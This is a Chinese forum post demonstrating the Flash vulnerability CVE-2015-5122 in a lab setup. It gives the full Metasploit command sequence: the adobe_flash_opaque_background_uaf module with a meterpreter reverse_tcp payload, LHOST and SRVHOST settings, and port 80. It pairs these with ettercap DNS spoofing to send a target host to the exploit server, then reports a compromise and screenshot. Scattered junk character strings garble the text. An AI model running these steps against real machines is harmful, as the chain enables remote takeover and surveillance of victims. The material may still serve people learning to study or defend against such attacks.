找回密码
 立即注册
查看: 2302|回复: 0
打印 上一主题 下一主题

cve2015-5122漏洞实例演示虚拟机

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

( F; @5 g8 W3 _4 [ 二、cve2015-5122漏洞实例演示虚拟机 8 r' f9 o. B$ u0 c

5 p1 s: X+ |: s

. b; T) A$ f+ O2 U$ t& Q& U   关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: 8 x& W5 V4 j) v$ Z7 e+ w$ D& E

. ~+ b7 }& h8 e b

) L* Z4 h; Y& O b2 y search cve-2015-5122如图: 8 m! L8 M$ d$ b: F

7 x; U V: k; Q' w8 ^

) [/ R9 d+ i* N. ]6 U2 f   4 |) w `+ [, H) @4 O5 }2 n

5 v; |: K3 V* e$ Y' I

! S, W- q7 |0 O& P, R 下面我们敲如下命令: * a+ z6 U! E& T: q! k' q

+ A6 J" \+ P+ s5 U5 h- n

4 K9 [4 T% j( d# m& ]0 r use exploit/multi/browser/adobe_flash_opaque_background_uaf ( G( f6 D5 V* e, |# i7 A% }

7 b+ m% e) v1 r$ l7 ^

/ c& {' a2 F' N( q set PAYLOAD windows/meterpreter/reverse_tcp 6 A X( S) P% C D

5 {( @; a8 @% [# U% g# p

D. `. r' `7 }# t) X) C* \2 ` set LHOST 192.168.0.109 ; j2 Y. o, a0 `$ m

- o r4 F% Z8 d6 i: ?+ O2 {. f

& V6 x) T! k- C5 R5 T# ^ set URIPATH /                        /*根目录*/ ! n( Z3 r9 s0 @( d. a. q

. ?. u3 k9 a9 H9 L- g5 D" r

& J) t! d, r R | ~7 z6 [4 f) {7 s set SRVHOST 192.168.0.109  //192.168.0.109kaili ip地址 b/ _0 m: k1 R- L. k1 Y: j

6 U" q; M' D6 m9 n9 A/ @0 K! v [# v

. f H- K, d1 O8 ^6 s set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 + B8 y! c) A/ a& O1 K0 I# H

/ {" @3 X. _ o7 G6 J

D6 e& x' j k 然后show options如图: ( p& Y/ s6 D( N7 P" M

# m h% |5 W5 ^3 \

+ V( H/ h3 Q8 Y. i6 g3 p0 Z   8 y+ y0 w& E% P5 I

% j: @: F1 ?+ F: D: X! m& l5 f

! o+ ^) l; w6 P- h1 N 一切都设置好了,执行exploit下面我们进etc/ettercap目录下设置etc.dns如图:
+ B% K, z8 C @% h
3 D' l1 S6 b7 f% g# `

& m; I" m7 P: o( \* L

/ p6 Q. P1 a1 X c 然后ettercap -G命令打开ettercap,我们要攻击的主机ip192.168.0115 {, L$ N& i# Q0 |1 f. n

* X9 N8 f, z8 t- N! @ y

/ a$ P t- R; O7 C8 C( M. A Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf 1 I8 l3 s3 |) {7 |9 j& o0 E

7 {$ w5 t3 H- a

5 Y. C1 B- W+ S8 k# A- Y8 H1 ~6 V   ; C& p+ ?9 j; {

& j5 F' R( Z' C- Y

p! q# r4 ]+ k/ L9 a8 e 成功了,这时候我们断开ettercap,如图: / w6 f" V# E. g9 X! w/ ]; s

6 `5 q( h' c8 P3 f O

5 x8 H. y9 r! \# v9 s0 n3 m1 e   ( R# M1 ^/ J2 T0 s

) m% f7 h% r& x2 d' x; k& i- w3 q

+ P# U* D9 L( G8 \2 ^. Q Screenshot如图: * h% B1 O- M, x- k8 U+ [

' k3 q3 M/ Y0 P8 Z" x+ n

- ^. N! y9 ^7 c q0 |* c9 D, V   ; v6 e7 X" A% s* Q

4 H/ s+ T/ g% U! P' N

0 J: n; v0 E; N" t+ \ * D8 ^* f$ X" P+ n

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表